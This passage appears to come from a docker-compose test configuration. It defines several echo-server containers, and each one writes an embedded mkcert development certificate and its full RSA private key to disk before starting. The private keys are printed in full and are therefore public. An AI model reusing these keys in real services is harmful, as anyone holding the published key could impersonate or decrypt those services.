DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI 6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+ B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE xjUE8XUu -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/ EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW 8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB 2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7 axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r 2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh gmLh4w/CcPyb9ZyXceWU/nU= -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - trusted-1-httpdetails trusted-1-httpdetails-ready: command: - -wait - http://trusted-1-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - trusted-1-httpdetails-ready trusted-2-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8 HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd 9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI 6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+ B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE xjUE8XUu -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/ EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW 8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB 2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7 axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r 2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh gmLh4w/CcPyb9ZyXceWU/nU= -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - trusted-2-httpdetails trusted-2-httpdetails-ready: command: - -wait - http://trusted-2-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - trusted-2-httpdetails-ready trusted-3-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8 HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd 9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI 6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+ B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE xjUE8XUu -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/ EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW 8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB 2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7 axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r 2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh gmLh4w/CcPyb9ZyXceWU/nU= -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - trusted-3-httpdetails trusted-3-httpdetails-ready: command: - -wait - http://trusted-3-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - trusted-3-httpdetails-ready trusted-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKNaEqCmmZfhmcYgZy01WCswDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTAx NzMyMTBaFw0yMzExMTAxODMyMTBaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQC8 HLBAIzXkPeegldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPD yVhDT0QlI/O/EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+Vv Wyl+FoPDV/vsZ31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9t jObsaQgJ5LLxCYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEq bZUDG+ZioArPmqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd 9r6rOBxpxwnTDvHkBn6vAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBSFhlhYgEfKTplVOeneVG3+3IE/TTAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAufQAF79s7c1gmZ9CIKBSGkHh+SH01CuKYnnHiMowHsTioFaUAQsd/P4X c2XBqc34eT3mCvpgZjHbjz6JlnTYJxuLvVqnVB3emtWrb1cQvh8BphxspTlS8uiE AEf/ngtpzfA/f4lpGkzrQ0cyPkEJGz511q97itzn9RZZzVTZxNVFSP2vVhNNQVsW OxakcvYRgnz8AOQS3OPHj2FQc3iibshct5leIwYZFcxINGHR6KL6+/LSePNCEMmK qymVPkQGsIcU6GQ9fxaSu4mp+IUALProizEVI8SVk5nOm3HIez+ZfXhzfnGx06SI 6NuoQQPqUBeZeXn2YFYhipeRdrQxvA36/YXa/AkXCeU0pXxbtXKcvatfri5KnYJD kH59a+aFkTsl41tfI2cnRYVddqXVl3OzLbcgAFLn1WeC1xx3xRXi7KldokOlvgv+ B6naWfCxRlWZ/lsmHae4kc1WH4Kc7nK+ITb40EkjV68/A7krZsN1VcqNtpomYkgE xjUE8XUu -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQC8HLBAIzXkPeeg ldUfRKK2jQxSVZD5g+qsjAzpmrq/AtmweK1cGcOtZ6eOL+p8brPDyVhDT0QlI/O/ EKgCOFFxUDqoR82iY06SacAjHni6+PO9tVRbFV0w14BDAJSpB+VvWyl+FoPDV/vs Z31FtYw+EwqkbDx/kaT9uzf+LJdlkf14nQQj8Eky/8d3mWJbb/9tjObsaQgJ5LLx CYdImkr77X2LMuDw/1tpH642GE25Nrgm6QHlyKSfYXo38v83ebEqbZUDG+ZioArP mqmkawUWw3ekhj80SJg/TK9PRaN/VvcI1PgAd7LZztUReSmTy5hd9r6rOBxpxwnT DvHkBn6vAgMBAAECggEAB28i0AYUNSb1JnWFbKzruUctu3tCNXovJg6K3BiPVMkq DT1XrJIgF5RHHOlr3OsLE6u7Xz2ctdML6PshiKTtIwtGpivgRpCiJEslmr2zi8AW 8eJeqRLZEfsSSJOXTG7RdGsn4qHFJ00s2ZTlcIHSPwnFm+XjJi99U8G4XsUoXo0r Gy+0VCuU7M8gICEHHsrQO9XDD3nT2jiu5TjrKwjut3EmoJssI5bqx33+OBu5BpCP CT473D43P9p3qi/XnfvqGSG2Oj4OajV4fr0o9B3KvIxkMem7WlI3jyy1kApyXqVT bLkLFyWBNTWUZ2R/2wxmuoC6mLZw879MLCKMvk1doQKBgQDhmwGafJNymTiEQZRI SsQx4seqfOKfgFC7ohqH9cROOu8IJ1o7q2pM2W4XiV+S3wTdPGmca6IOjX23isVB 2uqNi9S4MnI2/d22Gd/BR9rvBw1eGJoKbrWx22fE8QCEWT1AnO+DuD0jC85yRls7 axzlaMrxEu3LI9UE7NtrdQiByQKBgQDVdI6ceIVBT6RgvVGt8zkLjPIFjhQEHAIp uhirgqpS6CX9Blyf2+o40zmfj3he5rCcEoB5MseM+DgFbcVh2e/MVnYiNNw6JCDB BQkF408pZpSeKXvL/oyV/kImMTJ/tUDY0EXxMwSPJB0WltbWreVIHopigXRCbaey uBHVBv/4twKBgHwHuePy5SU1s2qSmzD7Wc2LPfYu3nCOHNRrFGb26MuRfuReri7r 2G8TgoESFycp0QTIN8+1JM0XYKxNcJD6B8V1wKbbpQsymneI1gjutiB/Igw/PkDK CL4VP4F4da5NWW1yWgNygLoJvZ/5qiKKisJc0GWk4HKz6mLgzOjQ2LJxAoGBALHZ fN2YeYbyYcaM11p1VilulVTVjY3i/FZiDR4SL/IGJWjN/Szg4iXYsKFmu+dulOZl cBALpEKrqpmzXYtrN6bsv18+5eO3qGbK2DrEq3eWVev2KoTMobxz7g++XBIWJmLA Hhaa6IiPkYD5yyVyHKDbeXgb3o9eqCR7w7fYLjy/AoGAI4D+MFkivwUF7hqf5edS KrltwmodHiqXNbVkwbW1AFPJbiYai4YFfK4IAbif/Ymxf9G78aOkr9ZpCIzOkDPZ YpEwQGWsAhElCFvc8E/5dHESSp+tWtP+NluimpFqiDg3/SUnMwO2xH0nhLa0zejh gmLh4w/CcPyb9ZyXceWU/nU= -----END PRIVATE KEY----- END_OF_HTTPDETAILS node ./index.js image: mendhak/http-https-echo:19 networks: main: aliases: - trusted-httpdetails trusted-httpdetails-ready: command: - -wait - http://trusted-httpdetails:8080 - -timeout - 10m image: jwilder/dockerize:0.6.1 networks: main: aliases: - trusted-httpdetails-ready untrusted-httpdetails: command: - sh - -c - | cat <<-END_OF_HTTPDETAILS | tee /app/fullchain.pem -----BEGIN CERTIFICATE----- MIIEUjCCArqgAwIBAgIRAKKYU7PSAFxZbhuLUlbv3iAwDQYJKoZIhvcNAQELBQAw gYMxHjAcBgNVBAoTFW1rY2VydCBkZXZlbG9wbWVudCBDQTEsMCoGA1UECwwjY2Fs ZWJAY2FsZWItcGMtbGludXggKENhbGViIERveHNleSkxMzAxBgNVBAMMKm1rY2Vy dCBjYWxlYkBjYWxlYi1wYy1saW51eCAoQ2FsZWIgRG94c2V5KTAeFw0yMTA4MTEy MTU2MTFaFw0yMzExMTEyMjU2MTFaMFcxJzAlBgNVBAoTHm1rY2VydCBkZXZlbG9w bWVudCBjZXJ0aWZpY2F0ZTEsMCoGA1UECwwjY2FsZWJAY2FsZWItcGMtbGludXgg KENhbGViIERveHNleSkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIBAQCg VDM59lGzCRjdUQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHG oryKGDOkRV1SDb3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2v JX4qTwgrqQtLOJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqP qpc6AEFuklmoBHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPw ve8VoGIlx4uvHTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxG mgByfa2rxbNg15PFwF+ZAgMBAAGjbDBqMA4GA1UdDwEB/wQEAwIFoDATBgNVHSUE DDAKBggrBgEFBQcDATAfBgNVHSMEGDAWgBS3GPBKDaHzHK68c8sSJ91umTjFVzAi BgNVHREEGzAZghcqLmxvY2FsaG9zdC5wb21lcml1bS5pbzANBgkqhkiG9w0BAQsF AAOCAYEAizMhh+VYIMp07wGn7+rzAE/651yiMC6kZHIOMHilvimyYvCf+Yc0MrcD mVQgqlUpkn/f2SOFsBQonjAACkWlSHah9KStL0iTvOIH+oGLnv3Y9wrKvwJol3KR c/+mO9R9TS71DoX+rTGRY3BNldpMBZF7HsYt/bg0RSpF0zkZarW+PEMmPw6IgIaD RPGpOiQOqIxQn4d6MyiNGS0QmDeGSZvsC07ZcZ+JxsYi4S+yN6GXt11pstiRXjDv zrO3s8TnVsBux7VDdIYfzMxqz+874MbsUUlb4txr3V48UDRLm7VDQ2/F+o0+Y5wt XAnXTn/6GFpjJvPGr0A1QLOvnhR0DZ4Fl97athu44pqeQywDU5LPP3HqrWRXLy3j BPBC4waHayL9Hnh4zQUe/h6hwC5Nxl/gqfB3Aaqr5PWX6rMFss8AYpB81ci+UJdm KSIn/pMoK6TWkCveoQRQOZD8wfwPF4cUUmWcLFwSveZSiniFrAXQqZbO1k6RDhQf havcwKlK -----END CERTIFICATE----- END_OF_HTTPDETAILS cat <<-END_OF_HTTPDETAILS | tee /app/privkey.pem -----BEGIN PRIVATE KEY----- MIIEvQIBADANBgkqhkiG9w0BAQEFAASCBKcwggSjAgEAAoIBAQCgVDM59lGzCRjd UQCyzokqC4sEr7Ln2FpXfHjMWPuNK5vQYccTxto3JlAVXl+oOLHGoryKGDOkRV1S Db3zAxYQNDuYUnraiVgLPrM9NFpHSk/IlACQjRlFRYG0Go3PDR2vJX4qTwgrqQtL OJ5tHnqrt6idtvNp1ISYOIscXf/WIAhh+IuOvas4eie7GETX4eqPqpc6AEFuklmo BHBfMCrGg89WBUTWCZYrHE9BYDL0LG/VwLYn2tDKBrS9iZIlTqPwve8VoGIlx4uv HTdzaVStcRKOXCsbSwXRdt0842d4C1nohQkRHqHoBjQzrJiWJzxGmgByfa2rxbNg 15PFwF+ZAgMBAAECggEADTzGefunZTPUFLnSZ/D7jDglwz5KdC/9zYleY+jY5B/8 nmjkSfK6I6GLLSh8l2QO8YqQLIqxANglS1gNHdpcYPwfC4WL1S1P0qXboKsI5Sfy jGoD3et4caq6ecdTfAvmLobW8uFRmGE9qHlFQ1cn47OnPVZUpKFCTVslyTLNo70h 28gx/lnpgkbeWotJ5GygE/H0jKJlG8/V3+Ppfuq6wypA5ELcGUeMAwmCfUNNlDy3 BhXSa6STgL26ar70KZIjTp9B97hIfDWObxgjzMX2JoiWXziszvbfaknfBsmfTm45 oUZYO0DuvLdLpxic0GZQwZCT6GzuexxJ9zR/pdahrQKBgQDEiwc0e+M1KaOoIIcw V7pxoGjvd+CC5whS00jSf/rXPSPFxat9Ml5serOzLdRLM/NQ5wB9S7TYc6PJi3Mb 8pmbGadIXiGIJY8vX79P/velHT4csgULJAKJF9U65knhaidPPPmXloHOhRWrE8Zq mexVgJZrHLI8197qmi+ctT5rEwKBgQDQ1J84AwI1hEsXHxoSetSznt+ae7pSUb/J byqK9KEp0DLyf8GcS7vxyYGQo0mJDlHaJt56LKv+zdX4wGG85ztbOFVPee6XLKSs I+h7rzc2hKrl+SaI91h1234WsTeJvfUSHyBy9vAwLhd0hplNrt7Tql5Z0VTWHmFE 2XbEwcTUIwKBgQDBpioHMDmBW/F/6ezJWOa+pco+h+KRl4i/8qVBog9Im1jvt/9r b4FRaOQ9mt4c6qbGA5Sb30fkLKwoHFniI3ntM616xCRNvJQDnVcmPpVJ/jIAm/YU L/q/kNfrHJOWobzxeaaCESz8imv7D5Tj25zb8cJC7xc+k4Nzq09WG83QOQKBgG28 LOZ7/j8tA2BlAYhQb1Dr3UgKWEBFoOgyuEJIhh+4vezb4VtGGL7XSnQ8ubmBgtWF s0a0DrVYaGXMgg+H2pL2qS2YPx3FYcrrG5FS40qMsFkkcXFruFpGOp2mBi8lWJBr 